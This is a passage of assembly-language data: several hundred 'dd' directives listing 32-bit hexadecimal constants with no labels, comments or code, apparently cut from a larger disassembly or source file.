0F1C29A27h, 65FA685h, 4D2F99Eh, 13028682h dd 0F77D742Eh, 77B81220h, 35D22B1Fh, 1CA29837h, 0A0D684E1h dd 0BF9938BCh, 84669106h, 0E6C9AE48h, 42CC7510h, 0F5B867D9h dd 0BE69D8FFh, 7A875F37h, 72C81896h, 17E49EBAh, 9B218CCBh dd 6C28399Ah, 3FBAE8CFh, 0D5E54F28h, 0C8686E94h, 0C4253EA8h dd 0D4EA98AFh, 0E55DB722h, 0BAA1A751h, 2AA8BF96h, 90BB477Eh dd 4068B4A7h, 7FBB46A1h, 41884A7h, 4AAEAD2h, 0EC2D2BD2h dd 701314C1h, 647C9841h, 944AB8C7h, 78DC616Bh, 71683DD8h dd 28024F9h, 92B51B1Ah, 498CF11h, 113F1B43h, 22DEE5C7h dd 13CF506Ch, 0DB8D6DEDh, 0C0F8B0FCh, 3CEF82D1h, 0B74D7976h dd 198C2A4Ah, 1EFEC2A5h, 29D76A2Fh, 6E5AB095h, 531C4C87h dd 13A15DAAh, 0F0E2B64Fh, 79E4981Ah, 0CAE8D3h, 0FA9167A5h dd 8C3310D4h, 3FE3F918h, 3A41C3FDh, 84803E46h, 0FFD253A5h dd 2D0FA927h, 11040790h, 652A686h, 0C0281727h, 0C9475CD4h dd 5D59B96Ch, 823CAB0h, 982B0F3Dh, 0FB5EEA87h, 0F577003Ch dd 8AD4B78Dh, 29D83199h, 0F3AE8281h, 0BA1ECD0Fh, 0EA82065Ah dd 0D064ACB3h, 0BD267CCh, 19810793h, 0D88E5E75h, 0E650F063h dd 0AD6572B0h, 0B0B6C427h, 5C0D0DE9h, 6026676h, 0CCA820D5h dd 65FE6E36h, 0BB6308DEh, 58099618h, 0ACF03C93h, 735CE5B0h dd 531F4C03h, 1A364ABDh, 84AB14CFh, 0C784DF24h, 75B5AD97h dd 99AE2DCDh, 0F3DDFDCEh, 608C4DAAh, 8BDB81D3h, 1418E0F2h dd 195FFDD1h, 68CA6B03h, 41BE4AE2h, 0BD54C6CEh, 9EC10D0Fh dd 0E495E356h, 0E6DB432Dh, 0FE3A0494h, 0D45FBBB1h, 9A946EABh dd 76833A7Fh, 1B4BB673h, 322A880h, 0FC54FFFBh, 0A69A33BCh dd 4A0F8B31h, 0AD6D1D73h, 943E5CB7h, 36AC236Dh, 0EADF435Eh dd 5AF7DB72h, 85A4A80h, 0C7C1B98Ch, 0D7E47C26h, 90A935BBh dd 0D0CE677Bh, 5D83B12Ch, 23E60420h, 6A36249h, 5C01C29Ch dd 0AB9C6A2Ch, 338BE8ECh, 0D8594EAEh, 0B2BE3870h, 0D842B2B5h dd 2000B38Eh, 990604Eh, 654460D9h, 9AB08858h, 4D994396h dd 76D2C114h, 2B602D9Bh, 6D0441Dh, 28B67036h, 8DD4603Bh dd 29F8E58h, 0B8DCFB7h, 0C9489B4Fh, 5D102D77h, 0AB4E4F35h dd 2A631EC6h, 1CF89ABh, 0B4CBD832h, 2422E573h, 0FCDDB9EAh dd 1942996Bh, 0E2F876A1h, 7F7B4B78h, 9F7FFCAAh, 0CC728E1h dd 0D5208D31h, 0C9271390h, 37C0D900h, 0AC4F7846h, 6A3EF0EBh dd 17557BEBh, 0AF2D194Dh, 0C041AF44h, 0F2EC9F43h, 84B2C754h dd 107DE1D6h, 55874375h, 91E09DD2h, 20DDDB17h, 7CD1A24Dh dd 1DBEC981h, 2CF2C0ECh, 0CB742DADh, 0FC2572AEh, 2B19A419h dd 0CB087C3Eh, 0F22A40BDh, 0E78EDF44h, 0C287FB6Bh, 62E21EDh dd 0F224C6E3h, 723FD0DEh dd 906918Bh, 3A16B810h, 93A95992h, 7E675599h, 954A7AA5h dd 9418CF39h, 2D8C4D0Ch, 59E043AEh, 0D5A59D13h, 939C16A3h dd 0B77A2855h, 834B5815h, 933E2B9Eh, 20A9ADB4h, 0DF1D6C36h dd 39DDAC86h, 0E6137BC7h, 0B6019155h, 0B230094h, 0C4BA0932h dd 7512A27Ah, 54CD3312h, 509E3B34h, 552CC7E9h, 0D8E99ED9h dd 0A36F7F32h, 7E6ED785h, 0E71DE6FCh, 0E5E0A615h, 0B13094D0h dd 0DBBF35F4h, 0F5245F5Ah, 0AC365088h, 0CB143EABh, 228FCDADh dd 0F44EF4D8h, 4A5FB3CCh, 558E1F61h, 5529BA0Ah, 4255E7B8h dd 1BEF5D0Ah, 40712AF8h, 50704F79h, 0F53E8A8Eh, 0F2F165BFh dd 26F79C98h, 5338CD3Fh, 0CA83A6E7h, 969301A3h, 1EB492C1h dd 5CB02FD0h, 0FD06A2EFh, 750EF8EFh, 9DF94472h, 0A8B0FCD6h dd 297407A3h, 0EDA55EC8h, 2151875Ah, 0E4CAD25Ah, 9674660Bh dd 5703E667h, 480581D1h, 0FBDD49BAh, 0D646140h, 0A789468Eh dd 33ADCDF0h, 9E95FCE8h, 0CBDC1713h, 0BD48D03Eh, 26B68310h dd 0D52617DBh, 53255D2Bh, 454103E7h, 0AD957DEEh, 0A306DC51h dd 0AD657F4h, 0D9CE7574h, 4FCED552h, 0C08D9A86h, 6B7D8B18h dd 9854519h, 0E901D306h, 73FEBDD0h, 0E73E7ECBh, 47548729h dd 6E162440h, 821B480Fh, 0C5018738h, 479EE0E1h, 7B97591Eh dd 54238416h, 81A43166h, 4E450176h, 25BA80F7h, 0B0166F1Dh dd 1A924A0Ah, 0A4AF10C5h, 8B3F09C5h, 0CA2165BEh, 17975C09h dd 1CC140Dh, 67058841h, 0B6A9C29Eh, 0BFC6F6C4h, 6AC6C309h dd 0A42EFF85h, 9EDCA0B9h, 0FB9ED412h, 8E257242h, 68305DD1h dd 0A142E7E9h, 50B5F31Fh, 748B0E2Ah, 1AF5D98Dh, 959EC48Eh dd 0E76954D0h, 3E7040C3h, 0DD97AD12h, 5F8DD7ECh, 8FF5CFE8h dd 0EAC5BFC9h, 0FAC3FC66h, 70AA675Ch, 76B9A7h, 159EF46Bh dd 0D949456Ah, 55E1DA25h, 0FF6DFFDh, 0AA9413D7h, 18DA28Eh dd 0EE18184Eh, 5E4C084Dh, 351594D2h, 1CAA6F3Fh, 3571E5ABh dd 0FCFAF2FDh, 1C4C035Ah, 793D3EC0h, 89B38587h, 0C765CD3Fh dd 699BB06Bh, 0BE7A6BBh, 4D215C3Eh, 366BC2D0h, 19312C55h dd 0B734E056h, 0D3B508Dh, 0CE958E16h, 391463A4h, 0BCD86710h dd 5EDEB133h, 2B6B46Fh, 0F39CD239h, 0E0D64054h, 0A18D5DEBh dd 77294336h, 0A5D06170h, 32D27412h, 20ACD54h, 74516B37h dd 0AB246F0Fh, 7970286Fh, 714A3CB7h, 770C97EDh, 9E5AA87h dd 0F6FC18B5h, 0AF19C207h, 44BD4B4Eh, 0D35ABA27h, 948D6C4Bh dd 0E3F9DCBEh, 6A26DB8Dh, 0FB1445A6h, 39D2B267h, 5EF3901Fh dd 0AC8F490Dh, 735D8F70h, 2F4B6F15h, 0E34B04E0h, 2E94DDE8h dd 6E6E1928h, 0E45F5A2Bh, 2EA47EF8h, 0CFC097F6h, 40C133B5h dd 0F32847h, 82EA4696h, 3B8C7256h, 9EC24CF3h, 0E7E0873Ch dd 0ED0CB37Eh, 7D7A3638h, 0C27117D8h, 0C3D1F099h, 2CBC92B0h dd 78A7AA99h, 0A268129Ch, 1B386C0Dh, 0E8271BB3h, 6E68428h dd 0EA8A460Dh, 42AA29AEh, 6059C288h, 60256CDFh, 77063AB1h dd 5ACEE3C7h, 80BF027Fh, 558A482h, 9778F5BFh, 84ADDCAEh dd 15664A0h, 5924D7BCh, 0FAEA99F2h, 0A1AE1D85h, 7771AAB5h dd 0B4F5B4FAh, 67ECF9E3h, 0B5440C20h, 982736A6h, 0F1102F41h dd 9ABB8D73h, 78E34559h, 901DEC0Ah, 3031A6F4h, 89A9CC10h dd 52427387h, 4E23DB8Bh, 33B3CE6Eh, 0FB8FE13Eh, 0B7563B3Ch dd 0FABA7F37h, 0B26F8EB5h, 1B551DDCh, 0C6ED0D60h, 0F4A108E2h dd 0E61C0610h, 44ED0907h, 70A787E9h, 631BBC4Eh, 79116B05h dd 1C8AB100h, 2A90C011h, 0FDFD28C7h, 1EE0F17Bh, 0BE3FA5D9h dd 0D6FA0B63h, 1B331DDBh, 268F073Ch, 144584DCh, 46AAB6CDh dd 0D75E793Bh, 91A1573Bh, 5C2D0142h, 7CF2A866h, 658427F0h dd 596067E4h, 7135BA2h, 0F1F0F7F1h, 0E22C6E04h, 2D49BDA5h dd 6CE07536h, 0B969518h, 0C0F20E8Bh, 18D0C5C8h, 762760EFh dd 5D6DF43Fh, 0F5BC9D84h, 48BE306Ah, 7B5D6586h, 38CBF0Bh dd 36510358h, 8BC3D6F6h, 0E33972F8h, 0DC185FA2h, 15504430h dd 0B41CDF46h, 86C7E512h, 42B89E86h, 0CE77DDFDh, 0CB75FCF3h dd 3557A6AEh, 0C1630D09h, 82D5EA8Ch, 7CB6646Bh, 12C4D249h dd 914E0DBCh, 8560830Ah, 0FC3AE7B9h, 3D8212A6h, 0DB1BAC76h dd 0C07C345Ch, 0D898DB1Eh, 0DCAE6E14h, 7FBC57D7h, 32CF7BE1h dd 0B032947Eh, 2D64A268h, 23A16BC4h, 93D251E6h, 0EB706821h dd 2734EA1Fh, 0ECF0D60Eh, 0C0512ACBh, 0AFEEE3FCh, 5AD040DAh dd 2DA0AC2Eh, 0A653EFD6h, 91DB0E59h, 0EC9F2589h, 4D739EACh dd 0FBD5E535h, 333C6A52h, 0E774D362h, 0A008FFAFh, 0E42D0D31h dd 0E47E6B3Ah, 9B1F030h, 0CFE1395Eh, 0F10EC45Fh, 0EB79FE40h dd 0CB9DFECAh, 5DD4011Fh, 0C9B0BA1h, 0AE65ED31h, 7C2C34Fh dd 0CD4BD8A7h, 2CFBAE4Bh, 628EE8F7h, 0CE40B721h, 922CEA59h dd 6449E78Ah, 24787513h, 0B2CA9AB2h, 0F577C20Fh, 9B995E6Ch dd 1CC96DCFh, 0D7BD1DD7h, 174635A7h, 65897F89h, 0FAE00623h dd 0E04790A4h, 97E01C3Ah, 0C5CF0394h, 8CD3FD62h, 0E3B45AE0h dd 3C8D5015h, 67E24FB4h, 23DB0045h, 35E9B9BAh, 0A2B62542h dd 13AC7420h, 564D27B9h, 0B27CD94Bh, 8FA6B270h, 0ECA24276h dd 0C99BCF3Dh, 40CCC4Bh, 0E6AE884Bh, 508202F7h, 5B0C46EEh dd 293CC550h, 0DF519CFFh, 0B757F724h, 0A85C076Ch, 56D13F07h dd 3D670203h, 560BB2D6h, 0DEF74111h, 0EBB675ABh, 815656B2h dd 0E030DF68h, 0C1A03D54h, 72CCFA05h, 0AAECCF36h, 0EB8391E9h dd 0D6D7578Ah, 0A86D2226h, 16C1D5F7h, 0EB75F86Fh, 14C9B3A2h dd 339A7784h, 57C8524Ah, 0E264F365h, 5D22723Ch, 9F2CB208h dd 8698DB29h, 0B934CB0h, 0AF98B8AEh, 0CAD640DDh, 93001CE7h dd 0D871D099h, 7213752Eh, 36F4D45Eh, 0A533E3D9h, 0B8BB67D4h dd 0BD9BE9BCh, 0D4648C88h, 0E33FE3Eh, 19006300h, 2B9AE66Bh dd 0A457D889h, 40D0ADC9h, 0AE15695Fh, 48431424h, 0E7FFBD44h dd 66634A2Ah, 9259C900h, 91FEE057h, 0F84222h, 0E0C5D6FEh dd 375904Bh, 8A419B0Ch, 24E11A6Ah, 0E9476D97h, 0ED381498h dd 0F00FAEABh, 0FCB80CD2h, 0D5E77B7Bh, 0D90B860Bh, 13BE99A8h dd 100B73CCh, 85C7A490h, 0DCEEE890h, 0DFC86ECDh, 39C12969h dd 9B9B6955h, 0D37566A2h, 8616BB8Bh, 4F634ECAh, 0B05A4A72h dd 5EC7FEE6h, 0A7EF49B8h, 43ED771Dh, 26C1326Ch, 0A8A389E0h dd 0DEFEC2A4h, 9DD89A5Dh, 64844E44h, 0FA76B5EFh, 0CAE232BCh dd 6AA99FF3h, 3079A094h, 0A3C70D2Ch, 572FAE2Ah, 79BE7421h dd 0DE01C8C5h, 3A9EE51Fh, 76371E41h, 5B4CEEDBh, 0DE14CD3Bh dd 83F7812Dh, 0D29EA072h, 0C73625C2h, 1339BBD1h, 5CC0F59Eh dd 7D1798F8h, 72EFE2F4h, 8427576Fh, 615F8587h, 0D55F89FCh dd 53518B5Fh, 0F259C5FCh, 151829BFh, 376E1371h, 75B1E547h dd 572867C1h, 57C19652h, 5D630161h, 0E1251D0Dh, 0C1DC4C71h dd 0D917EBE9h, 4459C42Eh, 17B17F50h, 500E6A45h, 136CC913h dd 0E2C2BD77h, 0B0A2527Eh, 98FA559Dh, 0A2073F73h, 629277BFh dd 1B5007B9h, 9587DDB6h, 5E0C3D7Fh, 0F3F9019Ah, 60FE481Fh dd 45F9C8E4h, 3DC301E0h, 7E0340DBh, 76798130h, 2C572A56h dd 63893C20h, 191C1EFh, 0B584E987h, 182DE42Fh, 0BC84DEEAh dd 61688A7h, 4F92E455h, 52BD66B8h, 0DFB92891h, 0BE4DD02h dd 0C95012B1h, 6F19218Ah, 482310E6h, 9393BAB0h, 535BE0BEh dd 0AC3D2AFCh, 88DD67C0h, 0ECB7C575h, 0CFE0EF81h, 53EAADBDh dd 0BE97555h, 788E8541h dd 3322F7E7h, 24CC4F70h, 8EC734A7h, 12C498EEh, 35B5AA9Ah dd 0D900DD30h, 0DF0BF2B8h, 0BD6D11EAh, 21AB8578h, 59B52218h dd 0D10CD3C6h, 822C9FCCh, 5652075Fh, 78AE4788h, 93A4DCB9h dd 0D3E52BD6h, 0A6DBD3F0h, 6EFAD2FDh, 6E60E11Ch, 71215893h dd 85EC95A4h, 393F8BC2h, 4BE01DADh, 254374C1h, 821270E2h dd 1399E098h, 0B5FE2300h, 44C9C25h, 0AD94AB37h, 19A46647h dd 90B75DB8h, 5C1994C6h, 0C4A987AEh, 1C58DE5Bh, 1952F7F7h dd 0C38F0260h, 0CAFFBDC7h, 3C2A7833h, 2631B49Dh, 2F5D7F3Ah dd 76823E57h, 0BE1D6DF4h, 0D4B3FC7Fh, 4A8F513Ch, 56129BBEh dd 0F73DB35h, 0BE252A5Fh, 738D2F46h, 3721D9EBh, 0DA3C8178h dd 3A2E1790h, 7AC3C153h, 55997FBh, 97CC32h, 0D7F3E05h dd 277D8A64h, 2956CD94h, 0DD467D46h, 947244C7h, 97E1E330h dd 0F65DDA1Ch, 0C8CA378Fh, 0B0B39EC6h, 0C3DF17ACh, 9B3D7DB8h dd 0C192A897h, 38195AC4h, 9A9A9ABDh, 7C744C48h, 0E18AF24Eh dd 0C5C6E1EDh, 0A0B55853h, 47B4FFFEh, 2006550Ch, 47C5CB59h dd 165005AAh, 42E7DE50h, 0D5611DECh, 0E4194B38h, 18ED5680h dd 0B1EAE2A5h, 0B1440BDCh, 7A050F54h, 0CFE4F502h, 9ACBABA8h dd 1D5F8FC2h, 36C1DFA7h, 0C33C0B9h, 0C5C66696h, 0AC0AE1E3h dd 0E7DCCFF9h, 0BAD9A671h, 0C28F21B7h, 0FAB85B23h, 3A9F4A1Ah dd 743EA825h, 17EEB659h, 23ED0395h, 2E6CBE21h, 0EC4F097Eh dd 71EBB357h, 0BADAE745h, 8A69D00Bh, 0F026FA77h, 0FBE9CB61h dd 174F77E5h, 0AA15B8B2h, 76EA5299h, 0F1BC4149h, 4969CDB3h dd 0E39ED6A0h, 0CC0E9DD8h, 48E081C2h, 0F9507789h, 6FDF6E7Dh dd 8A7061BFh, 85C5337Fh, 0DE6D81FAh, 0DC488C39h, 445FEF5Bh dd 0CE2A0DAFh, 0C904A98Ch, 544A8093h, 2380542Bh, 72509E0Ch dd 900BB07h, 0E8B8C874h, 22883F64h, 0ABCAD203h, 78B9DC4Ah dd 81E3E37Ch, 0B3E3D882h, 4DFAFC1Ch, 0B4F8D3CBh, 3B48D2CAh dd 0CB8640D0h, 0CE4340A8h, 5519ED0Fh, 41CD1595h, 70497F41h dd 8D625F80h, 40447403h, 84E91791h, 8C16A079h, 0AB48C691h dd 5F093F45h, 90FAEB6Bh, 289D430Ah, 1F97E68Eh, 43C9ADAAh dd 0D7C69D7h, 0CFC25749h, 0E6F29B1Dh, 498E64ECh, 0CD4DD329h dd 4AF4A324h, 2363469Fh, 32E2A227h, 0BC7CB9B6h, 0A218B9C3h dd 0F3F585D7h, 60D00A52h, 0ADF72569h, 0C9E770B2h, 2862D69Ah dd 94145308h, 5F26FCA4h, 75FA0DCCh, 3E4F780Eh, 7122B261h dd 0CB7E458Dh, 232E38C3h, 0F1F05444h, 79B97413h, 0F130C2E6h dd 64A2D8C8h, 4901A8A0h, 8B3D981Dh, 0A2C80986h, 18F427E2h dd 0BAE2D415h, 0EEA37C02h, 49463A49h, 2B5B0E14h, 0DDD5C59Ah dd 0AAEC30ECh, 101AEDh, 0B408795Ch, 3B2F834Ch, 0C335748Fh dd 0EA48F3FBh, 0AAE3861h, 0D1AAFA1Bh, 7192B797h, 340ADDF2h dd 24966619h, 0AD41A977h, 79D7ED56h, 4B622E9Eh, 6B6F9DA5h dd 0FEED2496h, 0C626C674h, 6099651Ah, 8CAF4AB7h, 0C4D42363h dd 5CF0F486h, 8CA347A6h, 4F2A68A3h, 4A0D1697h, 2D62DAB2h dd 47A26770h, 8EE44D6Bh, 0F91F9006h, 0DE580472h, 1A9CAA48h dd 0D8F81DDDh, 5E83D84Fh, 0BABEE4ABh, 790E496Bh, 0DAB10864h dd 4BED161Dh, 0FAAA32FDh, 872187CBh, 0F41E9E1Fh, 8DEDA67Dh dd 0B5D96B0Ah, 2EAC182Bh, 0CCE03BCBh, 6EF61BB9h, 0FD99AC44h dd 7D4A8D33h, 37F217A0h, 0F1E04BFAh, 839750F2h, 203EA9Fh dd 81F0D4ECh, 31269312h, 0EB91AA35h, 81AC976Ch, 19BD4D3Dh dd 787A25C8h, 85617904h, 0FA97492Bh, 6F154064h, 2FD388FAh dd 75264D65h, 5694EE51h, 82C89D13h, 371C4949h, 0EC4495F8h dd 7B7D023Fh, 0EE4760C7h, 725982F9h, 0DBC71CFBh, 95DEE037h dd 3AAC0AF9h, 0B1637DDBh, 0D8C6915Ch, 22E1D1A3h, 18DAB60Fh dd 0E702A034h, 56CB5476h, 0D25368Bh, 0BB78D802h, 6DFA0D76h dd 915AFB88h, 0CAEC7516h, 2A5BD187h, 84FABABh, 0C7D14573h dd 4B5A0C66h, 0ECCD14F1h, 6967415Bh, 80BFAB4Ch, 0C51C2690h dd 9BCDCEEAh, 0D88E3116h, 0E51F4F66h, 0C3576411h, 59BE29E4h dd 55CA4242h, 25F3831Ah, 0DB9999A8h, 654F9634h, 8498439Fh dd 2656C68Fh, 68027309h, 3EFE5192h, 488E0B38h, 0F1FF38B4h dd 0EF82D393h, 0BFAFD020h, 0EC2C64EAh, 2C05BF10h, 0D7FC0571h dd 6D1077DCh, 48268202h, 0E67D3A5Ah, 0E6D0EDCh, 14C9FD93h dd 39B79B5Bh, 0DC58B4D0h, 0BBB4738Eh, 5D45ECD4h, 0DDCDDFC8h dd 362CB6A8h, 0A6032891h, 0E935E101h, 98F25473h, 47B5E9F8h dd 2728CB0Ch, 9C329419h, 26B8C04Ch, 5A503D65h, 0DC841CC0h dd 0DAB028F1h, 24D22F44h, 0F9B6A69Ch, 46BC39DCh, 37D10387h dd 0B0E05A03h, 0BC006EE7h, 186F4139h, 2BBCD62h, 9FDB8500h dd 9705C787h, 0D7AF3B33h, 0D86C02D7h, 8BE0C25Fh, 0E3FCDCF8h dd 0A80A782Eh, 51BDBE02h, 4F56B5Ch, 0B4289E39h, 35959624h dd 9598245Eh, 711F679Fh, 121EDD03h, 0A68D4B4Ch, 7D648F85h dd 0A8CA09CFh, 7519EBE1h, 13097BDDh, 5B24DD65h, 3F2B43F7h dd 23C7BEEBh, 0A3600754h, 0CA86F636h, 164E8931h, 0A498ACC4h dd 5B4D6DB0h, 5519A697h, 53F698BDh, 1F0E80FDh, 0AF03EEF7h dd 5038200Fh, 9C40D643h, 16D049CAh, 42838485h, 2A08EE1Ah dd 8E49E4B0h, 9E1A1068h, 0ECDEBF85h, 9409757Dh, 1F8A5EDDh dd 33F47AA7h, 0E06AF093h, 0C9264E7Fh, 0DE2842B0h, 3B5497ECh dd 97983B4Dh, 305C3026h, 0A93102D7h, 9EC58239h, 0E189BD30h dd 202BCC1Bh, 3EFF92EEh, 2857E382h, 3A663A4Ch, 0ED6A3436h dd 0A8D715B9h, 83BA8BC8h, 235C55EEh, 1044F9Ch, 2833A73Eh dd 0B0399326h, 0EE7A6CB1h, 66250C76h, 960F3054h, 4DD74B7Eh dd 97E5A522h, 9D4E4BFDh, 8C6EB48Eh, 627CE525h, 6BA624Dh dd 0E38DE1CEh, 73B3A65Bh, 34A93332h, 0CD3D6B3h, 3BC7D147h dd 73D2DA48h, 0D2407C08h, 7AD8A1DBh, 772709C8h, 67F309F5h dd 0CF7C2010h, 0F27528C5h, 0C81F0B84h, 2966F296h, 0E091BC4Ch dd 0EBFBB5B1h, 99D222Dh, 7B5EB81Bh, 0CD34195h, 6C3ED0D0h dd 9C019EBh, 0E40EAD85h, 6D461463h, 494DEA61h, 76713C13h dd 3E163EF5h, 4EDE421Dh, 0F9795922h, 0AEEEF558h, 8D9414FBh dd 0B1700FA8h, 0DE74C938h, 0A8D61853h, 336ADF8Ah, 0C541068Bh dd 5BBE53D1h, 78C55553h, 54F1D60Bh, 0FEB80A78h, 920C672Ch dd 3F8C222Eh, 3382657Fh, 4E78C6E5h, 3078BA2Ch, 0C08F777Ch dd 72EC9083h, 634A5F3Ah, 135FA34Ch, 0C2C295ACh, 1E41A269h dd 8A8DBDB1h, 44F52D38h, 0FB49B062h, 3499F344h, 7301FB4Bh dd 3D7A7DEh, 3B5DF272h, 0D22F71A2h, 7F029CB5h, 4FB4ED1Bh dd 67DDCF2Bh, 78C60355h, 0AF17A169h, 6B5DAAD1h, 5E32F29Eh dd 5E6AA98h, 11B00783h, 0B1FA4F96h, 8B3FDC9Fh, 770DF75Eh dd 0CDE3266Ah, 0C7DA990Eh, 3165EEE6h, 0F73EED60h, 0C5DED9Fh dd 364065F1h, 9E42F05Fh, 0B8554FFAh, 0E23F705Fh, 0F57E0940h dd 14783300h, 0CB095EAAh, 7E32A44Fh, 9C8A887Ch, 958C2EDBh dd 0F3E1CC2Bh, 46871D5Ah, 0B22AAE63h, 5602977Ah, 8F008F69h dd 637DD12Ch, 0DAFCE8DEh, 0C2541F9h, 0E426AEBCh, 6EFD994Fh dd 3056C38h, 460B9B7Ah, 52D9571Eh, 0B6DCE86Eh, 0D4A94E09h dd 0A9D2919Fh, 528F6DF7h, 0E6FAC080h, 0E48912A3h, 0F69C10A3h dd 0A22DB36Eh, 904BA9DBh, 0FB799DC1h, 7D0BEA4Ah, 0EE3FD184h dd 0C6B49C7Dh, 0B4F804A1h, 3F2ABDDAh, 0F91F8835h, 0E74EFA47h dd 692E252h, 449E1956h dd 0E4D2E29Eh, 0F054F646h, 302C7588h, 5450C2DBh, 6972291h dd 70C95F03h, 32C0143Bh, 15A59837h, 0A3E8A501h, 0AAEC2A09h dd 0AC265AFFh, 92160C72h, 8F39BEA7h, 9E70E124h, 0EC5F23A7h dd 0D185CB28h, 7E8A9895h, 1EF2912Ah, 1A922CBEh, 0A96F160Ah dd 0CC493DE9h, 0B3211FD0h, 734D9BC3h, 0C7ED6125h, 0BC2E21BAh dd 0CD3E1766h, 0FCF4883Ch, 0F89B454Ch, 3E291058h, 8DC68179h dd 0BA9A0280h, 0C0549962h, 622C22FFh, 9F3D466Eh, 0D116EB39h dd 7E181167h, 0BFA92F2Ch, 5DF6ADAAh, 452D4107h, 0F679CAD3h dd 0CB0CF3E6h, 0B24D615Dh, 0FBD0E9EFh, 8B60D551h, 1B8E0FF1h dd 4F9803ADh, 5496B70Fh, 5EE33F64h, 0F9C91C75h, 76286437h dd 0F34C1FBAh, 24450E7Bh, 2CA729A3h, 79D6B11Fh, 98E4E74Dh dd 0EF9932ADh, 0EB96D6CBh, 0B2197416h, 721E396Ah, 0BF88E1FAh dd 3E9E3F48h, 97E8B82Dh, 0F7AE8038h, 79C369B4h, 0C5161A8h dd 43B7876Ah, 244B2A27h, 956E1CAh, 261A082Ch, 709FDBF8h dd 0D7AC87Fh, 74197E38h, 3CC7FAC6h, 23D062CEh, 1E928B36h dd 1FB1C645h, 0E61F36B2h, 725C565Ch, 3CE29BF3h, 1EE5F75h dd 0D8F99B40h, 0F4AC8461h, 0A95ACF3Bh, 0EDC34E4Fh, 7F9F0BFDh dd 1DE24815h, 0E1FFB18Ch, 0DDD791E9h, 0DC4DD94Eh, 0E28B4D84h dd 4BE420B3h, 625DF558h, 0D70707E3h, 0A6E7C406h, 0C280E1A6h dd 79C8B36Fh, 9DB4AB6Fh, 5E4C501h, 6E53DFBDh, 0FF3D460Fh dd 9D644EB4h, 7820C01Bh, 4CDF5D63h, 0C8B4A568h, 0CCACCA51h dd 0BBBDB9AFh, 51A0EA17h, 0E5F60E56h, 0D2816D53h, 0F9572ABh dd 0F2C7DF68h, 0C52871CCh, 15F19290h, 346FFDB3h, 834DB001h dd 90106924h, 0FE7B26h, 0F387BF86h, 5E2A2618h, 0E7479FDh dd 111732F1h, 0CC595FD1h, 0F70688h, 2C372A1Ch, 26EBB9E4h dd 0ABC25321h, 0E977CBEBh, 9826AD2Fh, 6FCD0BCBh, 7E91E5A0h dd 970773EAh, 1B3279A3h, 6E5BB34Ah, 14DDC005h, 0ADC172C0h dd 446E87B4h, 50718719h, 0D5E7D61Ch, 2E79FF04h, 3CAB69F6h dd 1CE887C4h, 0E0CAA718h, 91C76F09h, 0F887C43Ah, 2DB4E54h dd 0D7B67256h, 0B75D76F8h, 615342Bh, 7A8EBE4h, 88A26895h dd 0E5F38367h, 831F5724h, 0DA4F6177h, 0C6AA03A6h, 25D47929h dd 68FD2EC8h, 8FA335DDh, 0F14F9D1h, 45087AAEh, 1E65268Bh dd 49367C18h, 5007D5F7h, 0C29334A6h, 0F6B6319Ch, 9A68BB47h dd 0D487EE0h, 0FD033BA9h, 0BE0E6423h, 8E888577h, 2D143B0h dd 0A9ECF08Dh, 984A9A0Eh, 36E8E969h, 78E9A1C7h, 164A4C52h dd 81526031h, 56BC1C4Ah, 873A178Bh, 57B72567h, 95406309h dd 0CE03CB6Bh, 0CC32204Fh, 44407C65h, 0B742F080h, 77CCFEE4h dd 0BD3690CCh, 98DEC48Eh, 0AA51FFF8h, 0F9A93148h, 57B61C81h dd 0D8F58A13h, 0AFF199C2h, 0FC3B0C9h, 86822EEEh, 0D6E21539h dd 0BECE726Bh, 4E4C1170h, 5E2F94BAh, 5DB3D826h, 0F4F77EC9h dd 3D23E960h, 0B79A2794h, 15CFA9D2h, 20A56F85h, 91A51FF9h dd 6B7CCAD9h, 8C541EE8h, 2437C682h, 0A6D3E25Bh, 1921EC02h dd 0D9010FA2h, 4607C13h, 0A3286BA3h, 0FBB3E140h, 3773BCCFh dd 2D847205h, 0F31BD4F9h, 8921DC7Eh, 7005BBD1h, 8FB8720Dh dd 0D43D104Ah, 5FD8E377h, 0B56E6EDDh, 8E5965CAh, 0D1307D4Dh dd 4BC256C8h, 1EEF89D2h, 0A49AD2FAh, 9546D895h, 7E42C7EBh dd 7C127095h, 0DD05825h, 0E7A48087h, 527EBA35h, 0D36001C4h dd 0EDA69C42h, 72CCBF48h, 8FA8118Eh, 4C6677A3h, 99390248h dd 38FC3BDCh, 2978F4A1h, 0E929BD8h, 3F68F0AFh, 71059623h dd 0C4E56DE7h, 384EB54Dh, 0DA01BD04h, 0CEE558F7h, 9D084242h dd 189F7BD8h, 4F0CF3F0h, 194FE893h, 0B4FADF37h, 0EFC8C142h dd 0F76A4DB2h, 0C7782225h, 30AD8EC5h, 0DF4844D3h, 829A38F8h dd 16EE843Fh, 0C7ACB906h, 0B9424DFDh, 44E56264h, 41976D17h dd 7D3F77B3h, 1E00FFE6h, 0F1C87136h, 3F6D7754h, 8835C4DAh dd 0FDD32A27h, 7BA63CFFh, 0A4085BBh, 2771845Dh, 1FB051E1h dd 58A6459Eh, 0F8E4EEC5h, 7215CA6Ah, 6843F453h, 0ACFFB01Fh dd 6D2C98B3h, 710ADEA9h, 67B89098h, 191314B1h, 91C13ABCh dd 0F6BF1ED9h, 7D1635E3h, 89912329h, 0A10C37A5h, 7C27411Dh dd 1942E9DFh, 947BA358h, 5A022481h, 38BB60Fh, 7ED54DF1h dd 6460323Bh, 760DB87Dh, 1AA8C646h, 17E0AD9Ah, 9B15686Dh dd 59DF82D4h, 344E029Ah, 182ECC84h, 628D2142h, 0B830DB6Ah dd 1C8CBDF0h, 0AA94E5CDh, 422C3A21h, 451E083Fh, 0DFE510F9h dd 4617A52Bh, 6B7F5E7Fh, 0E2BE1B7Ah, 0EEE471ACh, 3E65EA3Fh dd 72E96E43h, 5DF3968Bh, 1E533403h, 3738CA91h, 240F943Ah dd 59B01268h, 0FF25AD2Eh, 0E8B69220h, 223DF03Ch, 8B01C5CDh dd 8101072Fh, 547A2927h, 0F6A337FFh, 0C20CCB6Bh, 9F72D41Dh dd 0F6A6EF3Ah, 0C2F615D9h, 33CF9D57h, 0A22FE688h, 763409C7h dd 0DE54734Ah, 0D11B5000h, 0BC610893h, 0F4B3E668h, 6355EC7Ah dd 0E6E83DE3h, 2A7EA9ECh, 45719BBCh, 0AE946C60h, 51343DDh dd 455B2058h, 147B9093h, 86BE8970h, 0D5CFB46Eh, 0C2492823h dd 41B1BBEAh, 0CA7F1897h, 4C372772h, 0AFD036F4h, 4BFEDB3Bh dd 0AF38D9D4h, 9C3F9102h, 1FB8650Bh, 0C481CD7h, 0EE3912AFh dd 884526CCh, 0C1BEF8CDh, 0DCBF4EADh, 8C90BB78h, 